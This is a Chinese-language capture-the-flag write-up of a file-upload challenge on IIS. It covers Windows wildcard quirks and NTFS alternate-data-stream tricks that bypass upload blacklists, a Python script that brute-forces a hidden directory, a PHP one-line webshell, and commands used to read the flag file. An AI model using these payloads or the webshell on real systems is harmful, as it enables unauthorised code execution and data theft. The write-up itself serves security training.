upload
考点
windows平台的一些特性 - windows平台特性 windows下搜索文件用到的是FindFirstFile,该函数执行时,会将"<" => "*"
、">" => "?"
、" => .
,所以在应用中,我们可以使用这个特性。e.g. ?filename=a> => a?
匹配单个字符 ?filename=a< => a*
匹配多个字符 ?filename=a" => a.
- NTFS ADS特性
上传的文件名 | 系统结果 |
---|---|
test.php:a.jpg | 生成test.php,但是无内容 |
test.php::$DATA | 生成test.php,有内容 |
test.php::$INDEX_ALLOCATION | 生成test.php文件夹 |
test.php::$DATA.jpg | 生成0.jpg,有内容 |
test.php::$DATA\test.jpg | 生成aaa.jpg,有内容 |
过程
-
step 1: 功能点#文件上传 #上传文件宽高 => getshell 环境:IIS7.0 Windows Server 2008 Standard Edition Service Pack 2
-
step 2: 文件上传功能黑名单php,文件名前缀时间戳重写,但截取上传文件名的最后一个后缀不变。简单利用ADS特性,上传test.php::$DATA
-
step 3: 上传了文件后,需要找到文件目录。pic.php返回了上传文件宽和高,猜测其使用了getimagesize,想到前段时间的一篇帖子,写个脚本跑该复杂目录
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by wh1t3P1g at 2018/4/11
import requests
str="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
ret=""
for i in range(32):
for c in str:
t=ret+c
url="http://47.90.97.18:9999/pic.php?filename=../"+t+"%3C/1523456340.jpg"
r=requests.get(url)
if "width" in r.content:
ret+=c
print ret
break
得到目录87194f13726af7cee27ba2cfe97b60df
- step 4: 有了目录就能访问上传的一句话
<?php eval($_POST[cmd]);?>
,系统禁用了执行系统命令的一些函数,但是这里并不需要执行命令。 这里不截图了cmd=var_dump(glob("../*"));
得到flag.php,访问后发现需要读取flag.php的内容cmd=echo readfile("../flag.php");
得到flag
总结
这次就做了一道web,还有待提高和积累:)